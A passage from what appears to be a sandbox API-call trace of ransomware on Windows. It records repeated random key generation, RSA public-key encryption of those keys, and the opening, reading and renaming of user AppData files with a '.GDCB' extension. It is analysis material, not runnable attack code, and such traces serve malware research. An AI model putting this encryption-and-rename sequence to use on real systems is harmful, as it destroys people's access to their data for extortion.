pbBuffer=0x285e798) returned 1 [0304.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.823] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0304.826] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aea30) returned 1 [0304.826] CryptGetKeyParam (in: hKey=0x67aea30, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.827] CryptEncrypt (in: hKey=0x67aea30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdde0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdde0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0304.827] GetLastError () returned 0x0 [0304.827] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.827] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0304.829] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af430) returned 1 [0304.829] CryptGetKeyParam (in: hKey=0x67af430, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.829] CryptEncrypt (in: hKey=0x67af430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xddf0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xddf0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0304.829] GetLastError () returned 0x0 [0304.829] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.829] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0304.832] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0304.836] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.838] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.838] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0304.838] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.838] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0304.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.845] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0304.845] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.846] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4980) returned 1 [0304.848] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af7b0) returned 1 [0304.848] CryptGetKeyParam (in: hKey=0x67af7b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.848] CryptEncrypt (in: hKey=0x67af7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde00000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xde00000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0304.848] GetLastError () returned 0x0 [0304.848] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0304.848] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0304.850] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af530) returned 1 [0304.850] CryptGetKeyParam (in: hKey=0x67af530, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.850] CryptEncrypt (in: hKey=0x67af530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde10000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xde10000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0304.851] GetLastError () returned 0x0 [0304.851] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0304.852] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0304.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.859] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.859] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0304.859] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.860] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0304.863] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.865] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.865] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0304.865] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.865] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0304.868] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af830) returned 1 [0304.868] CryptGetKeyParam (in: hKey=0x67af830, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.868] CryptEncrypt (in: hKey=0x67af830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde20000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xde20000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0304.868] GetLastError () returned 0x0 [0304.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.868] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0304.870] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af870) returned 1 [0304.870] CryptGetKeyParam (in: hKey=0x67af870, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.870] CryptEncrypt (in: hKey=0x67af870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde30000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xde30000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0304.870] GetLastError () returned 0x0 [0304.870] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.870] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0305.013] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0305.017] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.019] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.019] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0305.019] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0305.019] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4980) returned 1 [0305.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.024] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0305.024] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0305.025] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0305.028] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67af130) returned 1 [0305.028] CryptGetKeyParam (in: hKey=0x67af130, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0305.028] CryptEncrypt (in: hKey=0x67af130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde40000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xde40000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0305.028] GetLastError () returned 0x0 [0305.028] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.028] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0305.030] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67af470) returned 1 [0305.030] CryptGetKeyParam (in: hKey=0x67af470, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0305.030] CryptEncrypt (in: hKey=0x67af470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde50000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xde50000*, pdwDataLen=0x285e560*=0x100) returned 1 [0305.030] GetLastError () returned 0x0 [0305.030] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.030] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0305.030] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xde60000 [0305.034] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xde70000 [0305.036] ReadFile (in: hFile=0x4f8, lpBuffer=0xde70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0xde70000*, lpNumberOfBytesRead=0x285e5a0*=0x4210, lpOverlapped=0x0) returned 1 [0305.050] VirtualAlloc (lpAddress=0x0, dwSize=0x4210, flAllocationType=0x3000, flProtect=0x4) returned 0xdf80000 [0305.056] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0305.207] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4980) returned 1 [0305.211] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.214] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.215] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0305.215] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0305.215] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4760) returned 1 [0305.218] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.221] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.221] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0305.221] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.221] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4e48) returned 1 [0305.224] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67ae330) returned 1 [0305.224] CryptGetKeyParam (in: hKey=0x67ae330, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0305.224] CryptEncrypt (in: hKey=0x67ae330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde40000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0xde40000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0305.224] GetLastError () returned 0x0 [0305.224] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0305.224] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4760) returned 1 [0305.226] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67ae970) returned 1 [0305.226] CryptGetKeyParam (in: hKey=0x67ae970, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0305.226] CryptEncrypt (in: hKey=0x67ae970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde50000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0xde50000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0305.226] GetLastError () returned 0x0 [0305.226] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.226] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0305.248] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0305.252] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.256] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.256] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0305.256] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.256] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0305.260] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.263] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.264] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0305.264] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0305.264] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4e48) returned 1 [0305.267] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af630) returned 1 [0305.267] CryptGetKeyParam (in: hKey=0x67af630, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0305.267] CryptEncrypt (in: hKey=0x67af630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde60000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xde60000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0305.267] GetLastError () returned 0x0 [0305.268] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0305.268] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0305.270] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af6f0) returned 1 [0305.270] CryptGetKeyParam (in: hKey=0x67af6f0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0305.270] CryptEncrypt (in: hKey=0x67af6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde70000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xde70000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0305.270] GetLastError () returned 0x0 [0305.270] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.271] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0305.272] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0305.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.280] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.280] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0305.280] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0305.280] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4980) returned 1 [0305.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.287] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.287] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0305.287] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0305.287] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0305.290] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af370) returned 1 [0305.290] CryptGetKeyParam (in: hKey=0x67af370, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0305.290] CryptEncrypt (in: hKey=0x67af370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde80000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xde80000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0305.290] GetLastError () returned 0x0 [0305.291] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.291] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4980) returned 1 [0305.294] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af4f0) returned 1 [0305.294] CryptGetKeyParam (in: hKey=0x67af4f0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0305.294] CryptEncrypt (in: hKey=0x67af4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xde90000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xde90000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0305.294] GetLastError () returned 0x0 [0305.294] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0305.294] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0305.763] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4e48) returned 1 [0305.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.769] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0305.769] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0305.769] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4760) returned 1 [0305.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0305.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0305.774] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0305.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.775] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: 